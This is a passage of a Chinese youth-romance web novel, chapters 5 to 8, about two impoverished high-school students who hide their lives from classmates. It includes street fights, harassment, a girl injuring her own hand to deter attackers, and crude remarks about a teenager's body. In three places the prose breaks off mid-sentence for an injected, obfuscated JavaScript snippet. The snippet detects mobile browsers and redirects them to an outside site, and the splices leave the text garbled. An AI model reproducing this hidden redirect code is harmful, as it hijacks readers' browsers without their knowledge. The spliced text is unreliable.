“我爸妈去毛里求斯出差了。”姜堇平静地答。 “家教这么严啊,出差还不多给你留点钱,其实你已经够听话的了。”学委笑着蜷指在姜堇课桌上敲一下:“那你记得抓紧给我哦,就这两天了。” “嗯。” 直到全班同学都离开后,姜堇背着书包走出教室。 校园里已迫不及待变得空荡荡,鸟啁声撞在铺了半圆形花纹的路面上似有回响。校门口一棵巨大的樟树下,唯有十一班的几个男生聚在那里,站不成站相,书包歪七扭八地搭在肩上。 似在商量一会儿去哪里游荡。 有人往姜堇这边看了眼。 叶炳崐一拳不轻不重地砸在他肩上:“看什么看?喜欢啃木头啊?” “滚。”男生回淬一口:“老子喜欢个毛线。老子看是不是哪个老师好吧?” 随即从口袋里摸出一包烟来,抽出一根抛给叶炳崐。 叶炳崐接了,对着陈列晃两晃:“要么?” 陈列摇头。 叶炳崐鼻子里发出不知什么意味的一声轻吭,点了火塞进自己嘴里。 姜堇只往那堆男生那边看了一眼。 一群闹嚷的男生间,陈列站得和他们隔着些距离。好像其他人攒成一个圆,他是抽离在圆外的一个点。 其他男生互相砸拳、开黄腔、嬉笑怒骂,唯他一人沉默站着,还是那副姿态,一手插在校服口袋里,一手很随意勾着肩上的单肩包,包的带子有一些长。 他并没有朝姜堇这边看过来。姜堇也收回了视线,目不斜视地往前走去。 臭水河附近的一间小超市。 带发卷的胖阿姨斜着眼看姜堇:“怎么又来这么晚?我赶着去打牌晓不晓得。” “老师拖堂。”姜堇只这么说了句,也不辩驳,摘下书包放在柜台旁边的椅子上。 胖阿姨匆匆就往超市外走,回头伸着涂丹蔻的长指甲虚虚一点姜堇:“下次再来这么晚要扣钱的晓得伐?” 她匆匆走了。 姜堇课余时间在这间小超市打工。臭水河附近简直是贫民窟一般的存在,距离学校那个世界太远,不用担心会碰到同学。 她俯在透明的玻璃柜台上写英语作业。 外面蝉鸣声声,太阳的光斑一晃一晃。南方的天气近九月仍有些湿热,小超市里只有台摇头的电扇,姜堇写了会儿作业,身上就腻薄薄的一层汗。 她把校服外套的袖子撸到手肘,露出白生生的小臂。 不知为何做这个动作的时候她一瞬想起陈列,少年总高高地撸起校服袖子,露出尺骨分明的小臂。 一阵脚步声,姜堇埋着头,轻不可闻地蹙了下眉。 等那脚步声走到柜台前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398595|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下时,她的眉又松开了,一张白皙的脸恢复淡淡没表情,什么动静都没听到似的。 “这么用功啊?” 一般人的声音都跟长相是相符的。当这把油腻的声音响起时,姜堇没抬头,余光却能瞟到站在柜台前的年轻男人坠着油腻的双下巴。 姜堇:“嗯。” “给我看看,我看看这些洋码子我还能弄懂不。”男人的手伸过来,要碰不碰地擦过姜堇手背:“我老婆又打牌去啦?” 他手指也肥腻腻的,戴着常年抽烟的槁黄,无名指箍一枚俗气的金戒指,横肉往两边溢,愈发衬得姜堇手腕脆生生的白皙。 “嗯。”姜堇索性站起来,不着痕迹地往后退半步:“有什么事吗?” “哦。”男人缩回手:“给我拿包烟,利群。” 姜堇从柜台里抽出包红白相间的香烟,放到柜台上,男人拿了,一边扬声打着电话一边走了。 姜堇坐回柜台前。 握着水性笔,看了眼自己刚才被男人要碰不碰的手腕,上面一颗浅棕色的小痣。 她看上去像是想把男人留下的触感抹去,最终抿了抿唇,什么动作都没有做。 - 学校里,一本册子被丢到陈列面前。 陈列抬眸。 叶炳崐吊着一边嘴角:“看看,你选谁?” 相较于月考是一班每月一次的大事,十一班每月一次的大事是“选校花”。 “选个屁。”有个烫过头发的女生翻着白眼骂:“无聊不无聊。” “你管呢?”叶炳崐不耐烦地冲女生一挥手:“走走走,不关你们女生的事。” 又冲陈列一扬下巴:“看看。” 十一班的后进生们不会写程序,所以用很古朴的方式,一个本子上贴着各个女生的照片,都是长相在年级里出挑的。 男生们在每一页的照片下画“正”字投票,有些还用鬼画符一样的字写着“靓女”。 有些很明显是女生的自拍,从朋友圈里扒下来的。 陈列本来没想伸手翻。 这时窗外钻来一阵风,扯着本子的纸页哗啦啦往后连翻好几页,恰巧停在姜堇所在的那一页上。 也许是学校里人人都认识,照片下并没有写着名字。 那时陈列冒出一个刹那的好奇:奇怪,这女生被人议论得那样多,他到现在还不知道她的名字。 她的照片和其他人都不一样。 其他人都是自拍,她呢,则好像找不到她的自拍一样,不知是哪个男生拿手机偷拍她的侧颜,连像素都不甚清楚。 照片上她神色清淡,半垂眼眸好像在看一本书,睫毛很长,浅浅的棕,一点笑意都没有。 也许就是这点不一样,惹得陈列多看了眼。叶炳崐在他旁边一声嗤笑:“她就算了。你知道一班的那些女生,不止无聊,一个个傲得跟孔雀似的。家境好又怎么了?听说她爸妈在毛里求斯出差。毛里求斯?那不是野人的地方么?” 其实叶炳崐也不知毛里求斯在哪,满嘴胡咧咧。 “我对谁都不感兴趣。”陈列用食指背把本子往前推开了点。 也许他神色不怎么耐烦,叶炳崐从他前方的课桌上跳下来:“装什么啊。” 一把抄起本子走了。 5. 好奇 如果不是要赶回工地、陈列想抄近路赶时间,他也不会目睹这样一场斗殴。 幽僻的小巷深处,叶炳崐他们几个男生被堵在巷尾,其余几个男生应该不是本校,身上藏蓝色的校服看起来有些像隔壁职校。 战况十分激烈,还好无人持械。叶炳崐他们几个明显落了下风,叶炳崐脸上更是已挂了彩,透过拥挤的人肩缝隙瞥见陈列,扬声喊:“陈列,陈列!” 这时候还管什么熟不熟,只要认识的都算自己人。他扯着嗓音喊:“列哥,来搭把手!” 陈列冷冷往那边瞟了眼。 职高几个人循着叶炳崐的喊声,往他这边看了眼。其中两人手下动作明显顿了下——大概看到陈列的人心里都有同个感觉:这人不好惹,并且,很能打。 个子高挑,寸头,眼尾一枚浅浅的疤,浑身流畅的线条像随时准备狩猎的豹。 令所有人没想到的是,陈列只往这边看了眼,并不予理会地背着包径直走了。 “靠!”叶炳崐的叫骂被淹没在一阵拳拳到肉的殴打声中:“陈列你他妈的!是不是人啊?” 隔天在学校碰见。 叶炳崐坐陈列前排,把书包重重往课桌上一摔,冷眼往陈列这边睨了眼。 恰巧班主任这时走进教室:“叶炳崐你怎么搞的?” 眼睛一圈有明显的淤青,嘴角破损肿起,总让人觉得血才堪堪止住。 “摔的。”叶炳崐没好气地答,还那样冷眼睨着陈列。 陈列抬起头来,并没有回避他的眼神,相反直视过来。 叶炳崐愣了半秒。 那是一种格外冷静的眼神,接近于冷酷。显示陈列并不为昨天的事有任何惊惶、讶异或愧疚。 叶炳崐捏了捏拳,嘴里嘀咕了一句,终是没当着陈列的面说什么,在陈列面前坐下了。 - 但陈列觉得自己应该改改这抄近路钻小巷的毛病。 碰上的事太多,总归是麻烦。 比如今天傍晚,他又碰上那群职高的学生,而这一次被他们围在中央的女生——高挑个子,扎马尾,窄窄的肩,从背后能看到她一点下颌线,白皙得耀眼。 叫什么来着。 陈列想起来,开学到现在快一个月了,自己还并不知道她的名字。也不知她今天为什么没上晚自习。 脚步声让职高那几个男生循着他这边望过来,姜堇也跟着回了一下头。 陈列轻不可见地蹙了一下眉。麻烦,他当时心里蹦出的是这样两个字,女生就是麻烦。 这女生肯定会找他求救。 他是真的什么都不想理会。每天工地上的活让他骨头缝里都透着酸痛,更重要的是,他没这个精气神了。 其实他站着的时候总是微微佝偻着背,弯成一个不易察觉的“S”。只不过他体态太好,这么站着,反而有种不羁的洒脱感。 他连自己亲爹的事都管不过来,他还管得了谁。 女生却又和男生不同。 要是女生朝他开口,他不管的话,又显得很没人性。 这个念头只在陈列脑子里犹豫了一秒,他便打定主意:不管,即便女生朝他开口也不管。 他勾着书包没任何表情的往前走去。 职高那群男生大概已认定他是不会管闲事的人,只看了他一眼,便不再理会,转回去朝着女生继续道:“只是看个电影,别这么不给面子。” “不然你这么白嫩的皮肤,要是不小心撞在这石墩子上,破个皮出个血什么的,多不好。”男生说着,指指旧墙边一个高耸的石墩。 那本该是桥头的石墩,不知为何被废弃在这里。 出乎陈列意料的是——他走过女生身边,女生一点朝他求救的意思都没有,只当没有他这个人似的,直视着围堵她的那群男生。 “是这样么?”她这样问道,声音很轻。 在所有人包括陈列都没有反应过来的时候,她那白皙细瘦的腕子一挥,攥成拳的手砸在石墩上。 尺骨茎突变成四个明显的出血点,她挥拳砸过去的时候甚至有闷响,鲜血汩汩涌出来,顺着她手背淌下。 陈列目不斜视地继续往前走去。 她对面的几个男生已然傻了眼。她依然用那样很轻的声音问:“你们是想让我这样么?不用你们动手了,我自己来。” 她声音里有股什么都不顾的平静感。便是这种平静感最为骇人。 那几个男生一皱眉:“搞什么……算了,走!” 陈列并没有理会身后的后续发展。 直到回了工地,夕阳在天边扬着最后一点尾巴。他半裸着上身,挥着铁锹铲泥沙,仰头吨吨吨往下灌水时,他脑子里一晃而过那女生的一双眼。 今天在小巷里遇到女生时她的一双眼,和那“选校花”本子上被偷拍时的一双眼重叠起来。 浅棕色的瞳仁似小鹿。看着那群围堵威胁她的男生,平静得像在看一本书。 陈列把装满白水的统一绿茶瓶子放回地上,把这双眼从脑海里清除出去,沉默地继续挥舞铁锹。 - “怎么搞的啊?”杜珉珉发出这样一声惊呼。 姜堇不意外,她本想用纱布缠住自己的手,又觉得那样有些超过,便用创可贴贴在几个出血点上。 伤口有些大,创可贴遮不完全,露出一些鲜红的破损。 杜珉珉是在走去教室的走廊上遇到她的,皱眉拉着她的手仔细看。杜珉珉是那种瓷娃娃一般的女孩,微圆的脸,皮肤吹弹可破,一看就没经过任何伤害。 姜堇笑着答:“没什么,在家里楼梯上,不小心摔了一跤。” “住别墅就是这点不好对吧?”杜珉珉仍旧皱着眉。 她俩说这话的时候,陈列刚好背着包从她俩身边擦过。 姜堇带着恬淡的笑意,甚至没往陈列这边看一眼。 陈列想起昨晚她被围堵在小巷里单薄的身影,心想:她为什么说假话?明知道陈列听到了,好像也并不担心陈列会拆穿她。 这一分好奇只在陈列脑子里兜了个圈,便被一种更深切的疲惫驱逐出去了。 “嗨。” 陈列顿滞半秒,才意识到身旁步调与他同频的女生是在跟他讲话。 他不出声,女生笑着先是自我介绍:“我是毛琪雅。” 叶炳崐他们几个男生,已一手撑在窗台上,朝这边看过来。 所以不出意外的话,这位毛琪雅应该就是很能吸引男生瞩目的、年级里另一个“校花”的候选人。 陈列依旧沉默。 毛琪雅的性子看起来倒比袁臻臻柔和许多,仍是笑着问:“你很能打吗?” 姜堇便是在这时,第一次朝陈列这边看过来,一双棕色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398596|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳仁仍含着跟杜珉珉说话时的浅淡笑意。 陈列默了一秒,回答这没头没尾的搭讪:“不。” “喔。”毛琪雅背着双手走在他身边:“因为你看起来很厉害的样子嘛。” 姜堇便是在这时,又把眼神收回去了。 - 课间时分,学委再一次来到姜堇课桌边,蜷起指节一敲桌面,笑问道:“你爸妈回来没有呀?英语训练营的收费要截止了。” “回来了。”姜堇同样笑着答:“不过我决定不参加了。” 一边从书包里掏出几只草编渡渡鸟来:“我爸妈带回来的礼物。” “好可爱!”杜珉珉爱不释手地拿起其中一只来。 学委也拿了只:“为什么不参加呀?这次有藤校来的老师讲课,机会很难得的。” “就是时间不允许。”姜堇温声答:“有别的培训安排了。” “是呀,姜堇从小跟她父母走过全世界那么多地方,口语比我们所有人都正,是不用在英语上浪费时间了。”杜珉珉附和道:“有这时间还不如去学点别的。” - 这天傍晚的时候,陈列睡着了。 因为白天要上学,工地上分给他的活都压在晚上干。身体到底是不堪重负,所幸这个工程快完了,很快就能结钱。 陈列的神经稍微松弛了那么点,就趴在课桌上睡着了。 一觉惊醒的时候,他几乎是紧绷着脊背弹坐起来,环视一圈,发现自己是在教室里,没有油漆、尖声讨债的人、口袋和匕首,豹一样紧绷的脊背才一点一点放松开来。 只不过,教室里的灯都关了,窗外夜色浓重。 陈列点亮手机看了眼,发现晚自习都已经下了。 他心里暗骂一句“该死”,随手抄起单肩包便往外走去。教学楼外的路灯很暗,打落下来,陈列快走两步,发现前方那个单薄的身影,又是那个他不知道名字的女生。 他放慢了步调,跟她隔着段距离。 两人就这样一前一后地走着。直至走到校门口,保安催促着两人走快些,锁了门便打着呵欠走了。 女生钻进校门口唯一还没打烊的那间文具店,门口小小的,堆得满满当当。 暗处的灌木丛边一声啐声,陈列回头,意识到那边有人。 是叶炳崐他们几个,面色不善地站在那里,嘴里咬着根烟,要抽不抽的。 叶炳崐走上前来,手一拖,将陈列拖进暗巷。 陈列很清楚发生了什么。叶炳崐他们就是来报复的。 令叶炳崐他们意外的是,陈列并没还手,任他们打。他们人多,陈列很快躺到在地,也不挣脱,还是那样平静的神色,仰头望着头顶墨蓝的星空。 叶炳崐他们又啐了声:“走。” 陈列久久地躺在地上,书包扔在一旁,好似没有起身的打算。 为什么要还手呢。他身上背着那么多事躲还来不及,为什么还要主动去惹事。 这样一来,好像给了陈列一个躺倒的机会。他也不知自己想要躺到什么时候,只觉得深重的疲倦感向他四肢百骸袭来,墨蓝色的天空里星星很轻,一闪一闪。 他不知躺了多久,直到视线范围内出现一张向下俯看的脸。 是姜堇,手里拎着个文具店的透明塑料袋,里面装着刚买的水性笔芯和圆规,就那样静静看着他。 6. 矛盾感 陈列望着视线范围内那张白皙的脸,微眯了眯眼。 灯光让姜堇的脸看起来有些模糊,可她的神色却很清晰。那是一种出乎陈列意料之外的、十分平静的神色。不带任何的探究、审视或评判。 两人就这么面无表情地对视了一眼,姜堇便拎着她那一塑料袋的文具走开了。 她一次也没回过头。 陈列又躺了一会儿,才爬起身去了工地。今天的活儿已然收尾,他欠下的只能明天补回来。 一位老哥看一眼他嘴角眉梢:“嚯,怎么搞的?” “摔的。”他很平静地说。 蓦然想起姜堇手背上四个尺骨茎突带着血痕、很平静说谎是在家中别墅楼梯上“摔的”那时模样。 第二天陈列在工地赶完工,才到工地附近的一处灌木丛里把单肩包扒拉出来,套上校服外套去学校。 上午已经上到第二节课,教导主任正背着双手巡视,在教学楼下把他抓个正着。 姜堇坐在教室里上一节物理课,窗外浓郁的桂花香气让她在一堆“冲量”和“动量”的概念里有些走神。 眼神很随意地瞥一眼窗外。 一棵巨大的樟树树冠遮天蔽日,阳光挤不进去,洒落在地上变成金粉一样极细碎的光。 陈列站在那里。 他对面是教导主任。两人隔着半人开的距离,他还是往日那副姿态,双手插在校服口袋里,袖子撸起来,单肩包很随意挂在肩上。 他的站姿很特别,颈项和背脊的连接处有一个微妙的“S”形的弯。不知教导主任在跟他说些什么,秋天的风吹着树叶哗啦啦地摇。他沉默听着,不顶嘴,可从他的背影看上去,他也并没把这一切听进耳里。 姜堇只这么看了一眼便打算收回视线,却听前桌两个女生小声地咬耳朵:“你觉不觉得他看上去很像一只豹子?” “啊你这么一说!对对对,随时都像要伏击猎物的那种。” 杜珉珉也听到前桌的议论了,姜堇的座位靠窗,她扒着姜堇的手臂往窗外看:“是陈列,好帅!” 却被讲台上的物理老师用格外严厉地语调喊:“杜珉珉,你回答一下刚才那个问题。” 杜珉珉吐了下舌头站起来。姜堇把自己的课本往她那边推了推,上面写着方才那道物理题的答案。 自己则又瞥了眼窗外。 不知怎地,她的想法跟其他人不同。她不觉得陈列像一只豹,她觉得他像一只鹤。神游在这个世界之外,一只凌厉的、却被囚的鹤。 午饭时间,杜珉珉挽着姜堇的手臂去食堂。 杜珉珉一看叶炳崐他们那帮男生,露出嫌弃神色:“他们怎么也来食堂了呀……真烦。” 叶炳崐他们并不常吃食堂,大多数时候翻出校外去吃小炒。 陈列也在。 不过没跟那堆男生混在一起,沉默地独自排在队列中。 “姜堇。” 杜珉珉回头一看是教导主任在叫,立刻放开姜堇手臂溜之大吉。 教导主任朝姜堇走来:“演讲稿准备得怎么样了?” 江城的各所中学每逢十月都要参加市里举办的主题演讲,今年定下的主题是“初心”。 姜堇自从高一就代表一中参赛,今年也依然是她。 她点点头回答教导主任:“差不多了。” 无外乎和“国旗下讲话”一样,都是那些套话。 陈列对叶炳崐他们那帮人的态度是不理会,也不回避,从排队到端着餐盘坐下吃饭,他都与他们隔得不远不近,倒是惹来叶炳崐多看他一眼。 然后收回眼神,搭着身旁男生的肩说:“看她那副清寡相。那么薄的身材,应该没有胸吧?” 一帮男生哄堂大笑。 陈列往嘴里塞着米饭,往姜堇那边看一样。 女生到食堂来也带着书,此时用双臂环抱在胸前。她和教导主任站在食堂门口说话,从陈列的角度看到她一个侧影,阳光从门口洒落,攀爬在她身上,她的脸呈出一种半透明,说着话的时候,抬起白皙细长的手指,随手把马尾散落的碎发勾回耳后。 跟教导主任说完话,她转身向食堂里走来。 “姜堇!这边这边。”有个圆圆脸的女生高举着左手喊她。 那是陈列第一次知道她的名字——“JiangJin”。 是姜,还是江?Jin是哪一个字更是无从猜测。 这个念头只是在陈列脑子里晃了一晃,他也并没放在心上。只是女生在听到朋友招呼时,双手环抱着课本,一瞬露出个温柔浅淡的笑意。 顷刻让陈列想到昨夜他倒在地上时,女生俯看他的一张脸。 没任何笑意,显得清冷、决绝、不带任何审判意味。 矛盾的女生。 女生已淡笑着走到朋友身边去了,陈列继续埋下头吃饭。 回到教室,陈列意外在自己课桌抽屉里发现了两张创可贴。 他去食堂时刻意低一低头,不知多少人注意到他嘴角眉梢的伤,他希望没有。 那,这两张创可贴会是姜堇放的吗? 陈列的手指一拨,把两张创可贴拨到了抽屉最角落,并没有用。 一直到晚自习下课,他背着单肩包往外走。 “嗨。” 他眼尾垂一垂,发现叫他的是那天那个女生、叫什么来着。 毛琪雅。 女生大约涂着无色的睫毛雨衣、偏樱粉半透明的唇膏,有一种修饰过的漂亮。这年纪的女生已对自己的性别优势开始觉醒,比如改短的校服裙,比如露出的纤细修长的腿,比如让人不大看得出的裸妆。 好像只有姜堇,总是穿着干净到过分的大大的校服,清汤挂面的马尾,不加任何修饰的一张脸。不笑的时候,清冷到决绝的地步。 毛琪雅笑着问:“给你的创可贴,你怎么不用呀?” 陈列只是沉默地向前走去。 毛琪雅并没有气急败坏地在他身后跺脚喊“喂”,只是发出一声轻轻地笑。 陈列今天在学校上完了晚自习,因为今早工地已经结活了。他今晚只需去找老板结款,便可以搬回那条破船。 学校里没什么很大开销,他暑假攒的这笔钱够用一阵,便不准备冒着暴露行踪的风险再打工。 走到校门口,叶炳崐一伙人并没像昨晚那样等在这里。 陈列回了工地,找老板结款。 工地上结款都是现金,流着汗拼力气干活的人,好像都觉得那些旧钞票实打实摸在手里才是真的。 其他年纪更大些的工友淬着唾沫在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女孩穿一条材质极不入流的绸缎红裙,一切高级材质只会散发柔和色泽,好像只有这样劣质的料子才会有如此刺目的红。套在女孩白皙的皮肤上,却一点不显得俗套,反而有一种令人惊讶的、近乎妖异的美。 她略曲着腰,一边肩带挂在肩头,隐隐露出少女胸口姣好的起伏,因刚才激烈奔跑而蓬乱的浓密乌发垂落。她长着抹同样艳红的口红的双唇,在喘气,那样的神情几乎显得媚惑。 可她的一双眼又格外冷冽。 这一切形成了矛盾的、剧烈的、几乎令人费解的反差,让人的视线很难从她身上移开去,尽管看她半露胸口的裙子几乎是种不雅。 她是姜堇。 在学校里总被诟病像块“木头”的姜堇。 总是穿着干净到过分的校服、扎马尾顶着素颜一张脸的姜堇。 被老师视作最乖巧的学生的姜堇。 可此时她的身上,几乎有种可被称做“风情”的东西,令她在十七八岁的年纪里,像朵早开的玫瑰。 她倚着墙喘气的姿态说明,她带陈列躲到这里来应该已经没事了。 可陈列站直了腰。 姜堇靠着墙,抬起白而薄的眼皮、自下而上地望着他:“你干嘛?” 陈列只说了两个字:“麻烦。” 便向着胡同外走去。 7. 为什么 胡同外凌乱的脚步声表明,叶炳崐他们一行就在附近,并没有放弃。 姜堇靠在墙上望着陈列走出去的背影。 这是一条很幽深的胡同,路灯尽坏,堆满了废弃的家具,几乎能闻到墙角青苔潮湿的味道。唯一的一点光源来自巷外的灯,这让陈列的背影完全逆光,显得高大而阴沉。 姜堇抿了一下唇角,并没有叫他。 陈列走出胡同外,他的脚步声泄露了他的行踪,叶炳崐一伙立刻像觅食的鬣狗一样围拢过来。 说陈列像豹这话,也许没错。 他手腕一勾把单肩包远远丢进灌木丛里,里面装着钞票的牛皮信封发出沉沉的声音。叶炳崐身边一个男生先就冲着那包钱去了。 陈列一脚踹了过去。 他的确像只伏击的豹被一群鬣狗围剿,浑身的肌肉流畅而紧绷。他出腿的动作没任何花架子,简练、直接,一如他看向人的眼神,不带任何温度。 叶炳崐他们一伙人是带了钢管,但说实话,就是唬人,也没人真敢用这东西。当叶炳崐急红了眼将钢管一抛,反而操起一把胡同里废弃的椅子朝陈列砸过来时。 姜堇瞥一眼胡同深处的那些废弃家具,或许她也可以握起些什么,帮陈列挡一下。 但她并没有动作,只是冷眼看着。 椅子砸在陈列肩头发出闷闷一声响,陈列的眉尾又一次被刮破,浓稠的血淌了下来。陈列却像不知疼似的,眼神依然那般冷冽,叶炳崐便是在他这样的眼神中手一抖,丢了椅子。 陈列格挡过去。 姜堇渐渐发现,对垒中最重要的,其实是眼神。 是人的眼神在说,内心有没有怕。 直至叶炳崐他们喊一声:“妈的,撤。” 陈列并没有去追他们,就如他全程只是在格挡。这会儿他走到灌木丛边,捡起自己的包。 包盖得不严,里面装钞票的信封已随刚才的混战掉落出来。红通通的钞票散落一地,尽管今夜风并不大,还是吹落得这里一张、那里一张。 姜堇便是这时从胡同里走了出来。 她走过陈列身边,并没有看他,而是走到灌木丛边,一张一张去捡起那些钞票。她的裙子很短,露出白生生的大腿,陈列瞥了眼,挪开眼神去。 她捡了许久。没有任何的急切,也没有任何的不耐烦。 直到捡完了所有的钞票,她又捡起那只牛皮信封,和里面的钱叠在一起,站在路灯下快速地数了一遍。 这才走到陈列面前,把信封递给他:“总共是八千九百二十七。” 钱是对的。 陈列接过。直到此时在路灯下,他才看清姜堇脸上的妆花了,过浓的眼妆在下眼睑糊成一片,像是在什么汗气逼仄的环境里闷出来的,反而显出双眸本来的清透。 陈列刚才说“麻烦”的意思,是说如果完全对叶炳崐这帮人置之不理,他们会越来越变本加厉,把他当软柿子。 他的确不想惹事,可他更讨厌麻烦。 可是此时眼前的姜堇—— 她分明才十七八岁,学校里乖顺听话的好学生。可她刚刚目睹了这样一场混乱,眼前陈列的眉尾还在渗血,可她的双眸那样冷静、那样波澜不惊。 这一次陈列感到的不是“麻烦”。 而是像什么动物的本能直觉一样,他感到了“危险”。 他直觉这是一个“危险”的女孩。 可姜堇看起来是没有任何攻击性的。她只是平静问陈列:“你眉尾伤了,要包扎一下么?” “不用。”陈列抬手很不在意地擦掉血痕。 “那好。”姜堇也不勉强,点点头,便向臭水河的方向走去。 陈列走在她身后,一前一后,路灯把两人的影子拉得老长。 直到姜堇走过了陈列的那条船,向着相邻的另一条船走去,娴熟地跳上甲板。 小船晃一晃,带着她背影顿滞一下。她背着双手站了一秒,转身,走回陈列身边来。 陈列停住脚步。 到这时,她浅棕色的双眸含了一点笑意,在并不好闻的水波映照的路灯下,看向陈列:“我猜,你的名字既不是冷冽的‘冽’,也不是热烈的‘烈’。” 陈列微怔了一下。 实在没想到她会在此番情形下说起这个。 她从陈列身后,拖出陈列勾着单肩包带的那只手。 那一瞬陈列几有毛孔战栗之感。 随着母亲的早逝,他的成长过程中很少接触异性。不是没有对他示好的女生,比如袁臻臻似有意似无意搭在他小臂上的那只手。 可他只感到一种麻木的、深切的倦怠,像关闭了自己所有的官能一般。 可是此时,姜堇的手太软了,被河边的夜风吹得凉凉的。 陈列一生之中从未接触过那般柔软的东西。 像一阵轻忽的风,拂过落着松果的、毛茸茸的青草地。 陈列脑中有一瞬空白,沉默看着姜堇拖过他的手,拂开他的掌心,伸出白皙细长的食指在他掌心里写字—— 横,撇,横折钩…… 一个“列”字。 她问陈列:“是这个字,对吗?” 说完并不待陈列回答,转身往自己的那条破船走去。 陈列掌心里还残留着那痒痒的触感,握紧了拳。 不是冷冽锋利的刀。 也不是热烈燃烧的火。 而是陈列,就那样静静地摆放在那里,无悲无喜,像一个客观存在。 陈列叫住她:“喂。” 姜堇转身。 很多年后陈列午夜梦回,频频地梦见这一幕,然后像做了噩梦一般浑身是汗的惊醒。他频频问自己——明明那时已本能感觉到了危险,为什么还是要叫住她呢? 可他自省了很多次,复盘了很多次。 继而滋生的,是一种认命感。他知道无论如何,在那个静谧的身影,在一条臭水河所反射的星星点点的灯光中,他还是会对那红裙的、花了妆容的少女问出那句话: “你呢?名字是哪两个字?” 姜堇笑了一笑。 “你猜猜。”她说。 陈列破损的眉尾有轻微的刺痛感。他默了一瞬,说:“生姜的姜。” 姜堇点头。 “至于Jin,”他坦诚说:“我猜不到。” 无论是握瑾怀瑜的“瑾”还是繁花似锦的“锦”感觉都不适合她,可总不至于是紧张的“紧”。 姜堇又笑了一笑,伸出指尖指一指船边。 陈列看过去。 河畔永远泥泞而脏污,各种塑料袋饮料瓶乃至于byt,伴着结飘萍的水面发出腐朽气息。姜堇站在摇摇晃晃的船头,脚上那双同样不入流的黑色漆皮小猫跟鞋已被她脱下,她赤脚站着,指着河畔那一簇簇的不知名紫色小花。 “我叫阿堇,姜阿堇。”她说:“这种杂草一样的小野花,就是我的名字。” “可,我不喜欢这样的名字。”她又说:“很不喜欢。” 话罢腰一弓,钻入船舱里去了。 陈列走回了自己的那条船。 有些日子没回来了,船舱里结一层不薄的灰,往人鼻腔里钻。陈列浑不在意,也不说清理一下,合衣便往窗边窄窄的木板上一躺。 他太累了,非得睡一觉,明早才有力气洗澡。 在船上洗澡其实很不方便,要拎着桶走 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他从不在学校里抽烟。学校的规章制度严格,叶炳琨他们偷偷摸摸自认很酷,陈列却真的很讨厌找麻烦。 叶炳崐低眉顺目:“不管怎么说,哥,列哥,以后你就是我亲哥。” 要不是生活给他头上永远沉沉压一层乌云的话,陈列这时几乎有些想笑。 他甚至要有些喜欢学校了。 如此简单,谁内心没有恐惧,就能换来对方的臣服与低头。 要是人生也这么简单就好了。 课间他懒得去吃早饭,在课桌抽屉里摆弄着手机,不知怎地就在搜索框里键入了“堇”这个字。 百度百科里弹出昨夜在脏污河畔上所见的那种紫色小碎花植物: 「紫花地丁,数堇菜科,多开在乡野。《本草纲目》记载:“平地生者起茎,沟壑边生者起蔓”,生命力十分顽强。」 陈列关掉搜索页,把手机丢回抽屉深处去。 虽然十一班和一班的教室同在一层,也不知学校按什么逻辑排布,但这实在分属于两个泾渭分明的世界,陈列并非时时能遇到姜堇。 他也很久没想起姜堇。 又一次遇到姜堇是一周后,叶炳崐勾肩搭背挂在他肩上说着些什么,他正把叶炳崐往自己肩下摘。 路过走廊,姜堇正笑着跟叶珉珉她们说话。 风吹着她们谈话的内容钻入陈列耳廓—— “不上晚自习去上芭蕾课,你爸妈也真想得通。”这是杜珉珉的声音。 “如果以后考国外的大学,综合素质是有加分项的。”带着淡笑的是姜堇的声音。 陈列往她那边看了一眼。 他明明觉得自己对那夜姜堇的样子已经模糊了。可是在目光触及姜堇的一瞬,也许她那穿着洁净校服的、柔软温和笑着的、好似富家乖女的模样,和那夜穿不入流艳红裙子、浓烈眼妆花在眼下、赤脚站在臭水河船头的样子,反差实在太强。 那晚姜堇的模样,一下子在陈列脑中迸开来,像一团簇簇燃烧的火。 她说:“我叫阿堇,姜阿堇。这种杂草一样的小野花,就是我的名字。” 陈列微一抿唇,走过她身边。走廊里两个男生打闹着飞奔而过,陈列往边上一让,敞开的校服前襟衣摆微微扫到姜堇。 姜堇的马尾上有浅淡的茉莉香气,可她并没有扭过头来看陈列。 两人就这样擦肩而过。 陈列想:姜堇好像从来没有一次,交代他不要把自己的真相说出去。 为什么?她就这么信他? 8. 运动会 后来想想,姜堇的这种不交代也不是没有道理。 陈列实在是懒得管别人闲事的那种人。 只是在一个周日下午,他钻进臭水河附近的一间小超市去买一包烟。 掀开已经发黄的塑料隔帘,甫一对上一双过分清透的眼,一愣。 姜堇坐在那里。 逼仄的柜台愈发显得显得她个子高挑而单薄,坐在一种烟酒、电池、口香糖和打火机的包裹中,一张脸恁地白净。 一本摊开的英语书放在一旁,她手里握着正写卷子的水性笔,很平静地冲陈列一点头。 陈列恢复了漠然神色走过去,蜷起指节在玻璃柜台上敲一下,她握水性笔的白皙手指就垂落在他手边。 “拿包烟。”他说。 她也没问他要什么烟,拿一把小小黄铜钥匙插进玻璃柜有些生锈的锁孔,拿了包最便宜的红旗渠放到柜台上。 